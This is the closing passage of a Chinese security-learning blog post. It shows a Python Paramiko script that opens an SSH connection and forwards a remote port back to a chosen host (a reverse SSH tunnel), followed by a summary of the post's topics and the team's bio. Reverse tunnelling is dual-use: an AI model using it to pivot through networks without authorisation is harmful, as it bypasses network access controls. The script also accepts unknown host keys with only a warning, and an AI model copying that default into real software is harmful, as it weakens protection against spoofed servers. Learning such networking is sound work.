parser = OptionParser( usage="usage: %prog [options] <ssh-server>[:<server-port>]", version="%prog 1.0", description=HELP, ) parser.add_option( "-q", "--quiet", action="store_false", dest="verbose", default=True, help="squelch all informational output", ) parser.add_option( "-p", "--remote-port", action="store", type="int", dest="port", default=DEFAULT_PORT, help="port on server to forward (default: %d)" % DEFAULT_PORT, ) parser.add_option( "-u", "--user", action="store", type="string", dest="user", default=getpass.getuser(), help="username for SSH authentication (default: %s)" % getpass.getuser(), ) parser.add_option( "-K", "--key", action="store", type="string", dest="keyfile", default=None, help="private key file to use for SSH authentication", ) parser.add_option( "", "--no-key", action="store_false", dest="look_for_keys", default=True, help="don't look for or use a private key file", ) parser.add_option( "-P", "--password", action="store_true", dest="readpass", default=False, help="read password (for key or password auth) from stdin", ) parser.add_option( "-r", "--remote", action="store", type="string", dest="remote", default=None, metavar="host:port", help="remote host and port to forward to", ) options, args = parser.parse_args()
if len(args) != 1: parser.error("Incorrect number of arguments.") if options.remote is None: parser.error("Remote address required (-r).")
g_verbose = options.verbose server_host, server_port = get_host_port(args[0], SSH_PORT) remote_host, remote_port = get_host_port(options.remote, SSH_PORT) return options, (server_host, server_port), (remote_host, remote_port)

def main(): options, server, remote = parse_options()
password = None if options.readpass: password = getpass.getpass("Enter SSH password: ")
client = paramiko.SSHClient() client.load_system_host_keys() client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1])) try: client.connect( server[0], server[1], username=options.user, key_filename=options.keyfile, look_for_keys=options.look_for_keys, password=password, ) except Exception as e: print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e)) sys.exit(1)
verbose( "Now forwarding remote port %d to %s:%d ..." % (options.port, remote[0], remote[1]) )
try: reverse_forward_tunnel( options.port, remote[0], remote[1], client.get_transport() ) except KeyboardInterrupt: print("C-c: Port forwarding stopped.") sys.exit(0)

if __name__ == "__main__": main()
结语

主要是socket和Paramiko库的学习,TCP连接和代理、netcat代替、SSH和SSH隧道





红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。


原文始发于微信公众号(红客突击队):网络基础

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月8日04:46:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网络基础https://cn-sec.com/archives/1164331.html

发表评论

匿名网友 填写信息